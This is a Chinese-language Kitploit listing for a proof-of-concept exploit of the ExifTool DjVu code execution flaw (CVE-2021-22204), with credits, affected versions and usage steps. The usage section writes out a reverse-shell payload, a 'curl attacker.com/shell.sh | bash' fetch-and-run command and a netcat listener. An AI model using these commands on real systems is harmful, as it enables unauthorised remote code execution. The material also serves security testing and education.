Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-22204 — ExifTool RCE 漏洞利用 (CVE-2021-22204) - 改进版本,无需 exiftool 依赖 | Kitploit
工具/GitHubGitHub/d4ytox/cve-2021-22204
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubd4ytox/cve-2021-22204

CVE-2021-22204

ExifTool RCE 漏洞利用 (CVE-2021-22204) - 改进版本,无需 exiftool 依赖

查看仓库
818天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-22204 - ExifTool 任意代码执行

这是针对 CVE-2021-22204 的升级版概念验证(PoC),该漏洞影响 ExifTool 7.44 至 12.23 版本,在处理恶意 DjVu 文件时可导致任意代码执行。

致谢

本文为衍生作品。该漏洞及原始利用代码并非本人所发现。

角色人员
漏洞发现者William Bowling (@wcbowling),通过 GitLab 漏洞赏金计划提交 — 2021 年 4 月
原始 PoC 作者UNICORD (NicPWNs & Dev-Yeoj)
本仓库修改者d4ytox

描述

ExifTool 7.44 至 12.23 版本在解析恶意图像时,由于对 DjVu 文件格式中用户数据的处理不当,可导致任意代码执行。此利用工具可生成一个恶意图像文件,当被存在漏洞的 ExifTool 版本处理时,将执行攻击者控制的代码。

本版本所做的改动

基于 UNICORDev/exploit-CVE-2021-22204 进行改进:

  • 攻击机无需依赖 ExifTool - 原始版本使用 exiftool -config 嵌入载荷,如果本机 ExifTool 已打补丁(v12.24+)则会失败。本版本仅使用 djvumake 构建纯 DjVu 载荷。
  • 兼容现代 Kali - 支持 Python 3.12+(修复了 \c 转义序列警告)
  • 依赖极少 - 仅需 djvulibre-bin 软件包
  • 代码简洁干净 - 无 ASCII 艺术或人为延迟

这些是对现有利用代码的工程性改进,不涉及任何漏洞研究声明。

环境要求

root@kitploit:~
sudo apt install djvulibre-bin

使用方法

反弹 Shell:

root@kitploit:~
python3 exploit.py -s <LHOST> <LPORT>

自定义命令:

root@kitploit:~
python3 exploit.py -c "id > /tmp/pwned"

示例:

root@kitploit:~
# 生成反弹 Shell 载荷
python3 exploit.py -s 192.168.1.100 4444

# 生成命令执行载荷  
python3 exploit.py -c "curl http://attacker.com/shell.sh | bash"

# 启动监听并等待回调
nc -nlvp 4444

该工具会生成 image.jpg - 将其上传到目标系统,等待 ExifTool 处理即可。

受影响版本

  • ExifTool 7.44 - 12.23

参考链接

  • NVD 条目 - CVE-2021-22204
  • William Bowling 的原始报告 - HackerOne #1154542
  • ExifTool 安全公告
  • ExifTool 补丁提交
  • 原始 PoC - UNICORDev/exploit-CVE-2021-22204

免责声明

本工具仅供教育和授权安全测试目的使用。

作者不对因使用本工具造成的任何滥用或损害负责。请仅对您拥有或已获得明确书面授权测试的系统使用此利用代码。

未经授权访问计算机系统属于违法行为,将受到法律制裁。请负责任地使用。

许可证

MIT 许可证,仅适用于本仓库中的修改内容。上游 PoC 未附带许可证,因此其版权归原作者所有。完整署名声明请参见 LICENSE。

下载工具